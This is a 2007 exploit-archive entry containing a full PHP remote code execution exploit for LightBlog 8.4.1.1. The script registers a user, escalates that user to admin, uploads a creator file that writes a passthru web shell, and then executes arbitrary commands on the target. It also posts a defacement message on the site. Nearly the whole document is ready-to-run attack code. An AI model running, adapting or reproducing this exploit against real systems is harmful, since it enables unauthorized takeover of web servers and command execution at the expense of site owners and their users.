lightblog-exec.txt

2007-10-10T00:00:00
ID PACKETSTORM:59952
Type packetstorm
Reporter BlackHawk
Modified 2007-10-10T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "  
LightBlog 8.4.1.1 Remote Code Execution Exploit  
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>  
Thanks to rgod for the php code and Marty for the Love  
  
";  
if ($argc<3) {  
echo "Usage: php ".$argv[0]." Host Path   
Host: target server (ip/hostname)  
Path: path of lightblog  
  
Example:  
php ".$argv[0]." localhost /lightblog/ dir";  
  
die;  
}  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
for ($i=3; $i<=$argc-1; $i++){  
$cmd.=" ".$argv[$i];  
}  
$cmd=urlencode($cmd);  
  
  
$port=80;  
$proxy="";  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "Step 0 - If Shell already exists, run it..\r\n";  
$packet ="GET ".$p."images/piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("666999",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
echo 'Step 1 - Creating New User (Name: Piggy_Marty Pwd: DAFORNO_IMPERAT)..';  
//Retrieving the "confirmation" code  
$packet ="GET ".$p."register.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
preg_match('#<b>([a-zA-Z0-9]+?)</b><input name="rand" type="hidden" value="([a-zA-Z0-9]+?)" />#is', $html, $fuori);  
  
$conf_code = $fuori[1];  
$rand_code = $fuori[2];  
  
//Doing the registration  
$data="rand=$rand_code&val=$conf_code&username_post=Piggy_Marty&pwd1_post=DAFORNO_IMPERAT&pwd2_post=DAFORNO_IMPERAT&name_post=Piggy_Marty&email_post=hawkgotyou@gmail.com";  
$packet="POST ".$p."register.php HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: localhost\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
sleep(1);  
  
echo 'Step 2 - Promoting Piggy_Marty to admin level..';  
$data="type_post=admin&username_post=Piggy_Marty";  
$packet="POST ".$p."cp_memberedit.php HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: localhost\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
sleep(1);  
  
echo 'Step 3 - Uploading Shell Creator..';  
$data="-----------------------------7d529a1d23092a\r\n";  
$data.="Content-Disposition: form-data; name=\"image\"; filename=\"piggy_marty_creator.php\"\r\n";  
$data.="Content-Type:\r\n\r\n";  
$data.="<?php  
\$fp=fopen('piggy_marty.php','w');  
fputs(\$fp,'<?php error_reporting(0);  
set_time_limit(0);  
if (get_magic_quotes_gpc()) {  
\$_GET[cmd]=stripslashes(\$_GET[cmd]);  
}  
echo 666999;  
passthru(\$_GET[cmd]);  
echo 666999;  
?>');  
fclose(\$fp);  
chmod('piggy_marty.php',777);  
?>\r\n";  
$data.='-----------------------------7d529a1d23092a  
Content-Disposition: form-data; name="title"  
  
Not so good if you see this..  
-----------------------------7d529a1d23092a  
Content-Disposition: form-data; name="post"  
  
An Exploit has attacked your site.. contact hawkgotyou@gmail.com for more details  
-----------------------------7d529a1d23092a--  
';  
$packet="POST ".$p."main.php HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Referer: http://".$host.$path."/\r\n";  
$packet.="Cookie: Lightblog_username=Piggy_Marty&Lightblog_password=DAFORNO_IMPERAT\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
sleep(1);  
  
echo 'Step 4 - Executing Creator..';  
$packet ="GET ".$p."images/piggy_marty_creator.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
sleep(1);  
  
echo "Step 5 - Execute Commands..\r\n";  
$packet ="GET ".$p."images/piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("666999",$html);  
die("\r\n".$temp[1]."\r\n");  
}  
  
# Coded With BH Fast Generator v0.1  
?>  
`